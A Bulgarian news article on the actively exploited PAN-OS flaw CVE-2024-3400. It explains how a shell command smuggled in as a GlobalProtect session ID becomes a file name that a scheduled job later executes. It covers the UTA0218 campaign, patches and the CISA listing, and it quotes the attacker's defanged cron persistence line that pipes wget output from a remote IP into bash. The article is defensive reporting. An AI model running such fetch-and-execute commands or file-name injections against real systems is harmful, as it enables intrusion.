Palo Alto Networks сподели повече подробности за критичен недостатък в сигурността на PAN-OS, който се експлоатира активно от злонамерени хакери.
Компанията описва уязвимостта, проследена като CVE-2024-3400 (CVSS score: 10.0), като „сложна“ и представляваща комбинация от две грешки във версиите PAN-OS 10.2, PAN-OS 11.0 и PAN-OS 11.1 на софтуера.
„При първата от тях услугата GlobalProtect не е валидирала в достатъчна степен формата на идентификаторите на сесиите, преди да ги съхрани. Това позволи на нападателя да съхрани празен файл с избрано от него име“, казва Чандан Б. Н., старши директор по продуктова сигурност в Palo Alto Networks.
„Вторият бъг (доверяващ се на това, че файловете са генерирани от системата) използваше имената на файловете като част от команда.“
Струва си да се отбележи, че макар нито един от проблемите да не е достатъчно критичен сам по себе си, когато са верижно свързани, те могат да доведат до неавтентифицирано изпълнение на отдалечена шел команда.
От Palo Alto Networks заявиха, че извършителят, който стои зад експлоатирането на дефекта от нулев ден, UTA0218, е извършил двуетапна атака, за да постигне изпълнение на команди на податливи устройства. Дейността се проследява под името Операция MidnightEclipse.
Както вече беше разкрито както от Volexity, така и от собственото подразделение за разузнаване на заплахи Unit 42 на компанията за мрежова сигурност, това включва изпращане на специално подготвени заявки, съдържащи командата, която трябва да бъде изпълнена, и която след това се изпълнява чрез задна врата, наречена UPSTYLE.
„Първоначалният механизъм за устойчивост, създаден от UTA0218, включваше конфигуриране на cron job, който използваше wget за извличане на полезен товар от контролиран от атакуващия URL адрес, като изходът му се записваше в stdout и се изпращаше в bash за изпълнение“, отбеляза Volexity миналата седмица.
„Нападателят е използвал този метод, за да разположи и изпълни конкретни команди и да изтегли инструменти за обратен прокси сървър, като например GOST (GO Simple Tunnel).“
Unit 42 заяви, че не е успяло да определи командите, изпълнени чрез този механизъм – wget -qO- hxxp://172.233.228[.]93/policy | bash – но прецени, че имплантът, базиран на задачи cron, вероятно е използван за извършване на дейности след експлоатирането.
„На етап 1 нападателят изпраща на GlobalProtect внимателно подготвена команда на шел вместо валиден идентификатор на сесия“, обясни Чандан. „Това води до създаване на празен файл в системата с вградена команда като име на файла, избрано от нападателя.“
„На етап 2 нищо неподозиращо планирано системно задание, което се изпълнява редовно, използва предоставеното от атакуващия име на файла в команда. Това води до изпълнение на предоставената от атакуващия команда с повишени привилегии.“
Макар че Palo Alto Networks първоначално отбеляза, че успешното използване на CVE-2024-3400 изисква да бъдат активирани конфигурациите на защитната стена за GlobalProtect gateway или GlobalProtect portal (или и двете) и телеметрията на устройствата, впоследствие компанията потвърди, че телеметрията на устройствата няма отношение към проблема.
Това се основава на новите открития на Bishop Fox, които откриха заобиколни пътища за използване на дефекта, така че да не се изисква включването на телеметрия в устройството, за да се проникне в него.
През последните няколко дни компанията също така разшири кръпките за дефекта извън основните версии, за да обхване и други често използвани версии за поддръжка –
С оглед на активната злоупотреба с CVE-2024-3400 и наличието на код за експлойт с доказана концепция (PoC), на потребителите се препоръчва да предприемат стъпки за прилагане на горещите поправки възможно най-скоро, за да се предпазят от потенциални заплахи.
Американската агенция за киберсигурност и инфраструктурна сигурност (CISA) също добави недостатъка в своя каталог на известните експлоатирани уязвимости (KEV), като нареди на федералните агенции да защитят своите устройства до 19 април 2024 г.
Според информация, споделена от Shadowserver Foundation, приблизително 22 542 устройства за защитна стена, изложени на риск в интернет, вероятно са уязвими към CVE-2024-3400. По-голямата част от устройствата се намират в САЩ, Япония, Индия, Германия, Великобритания, Канада, Австралия, Франция и Китай към 18 април 2024 г.
АБОНИРАЙТЕ СЕ ЗА НАШИЯ Е-БЮЛЕТИН И ПОЛУЧАВАЙТЕ НОВИНИ И СЪВЕТИ НА ТЕМА КИБЕРСИГУРНОСТ.
© 2022 Фондация “Киберсигурност за Всеки” с ЕИК 206932045. Всички права запазени. Политики за поверителност.
ж.к. Гео Милев бл. 117, вх.А
София 1113, България
support[@]e-security.bg
Фондация “Киберсигурност за Всеки” с ЕИК 206932045 е ЮЛНЦ в обществена полза, регистрирано в ЕС, работещо в съответствие с мисията и целите си.
Моля, имайте предвид, че всички споменати продукти и/или имена на компании са търговски марки ™ или ® на съответните им притежатели. Уебсайтът/фондацията няма никаква свързаност и/или одобрение за/от тях – тези търговски марки се използват само за образователни цели като примери. Настоящият уебсайт е онлайн информационна платформа, управлявана от доброволна фондация в обществена полза. Благодарим ви, че сте тук и за всякакви допълнителни въпроси, не се колебайте да се свържете с нас.
Мисията на Фондация “Киберсигурност за Всеки” е да допринесе за подобряване на киберсигурността, информационна сигурност и защита на системите и да повиши културата на обществото и организациите по тези и свързани с тях теми. Ние насърчаване безопасността и поверителността на потребителите, като повишаваме осведомеността, информираме за най-добрите и нови практики и помагаме на хора и организации да преодолеят съвременните предизвикателства за сигурността на мрежата и опазването на техните дигиталните активи.
На посоченият от Вас e-mail е изпратено съобщение за потвърждаване на абонамента.
Моля, проверете електронната си поща за да потвърдите.
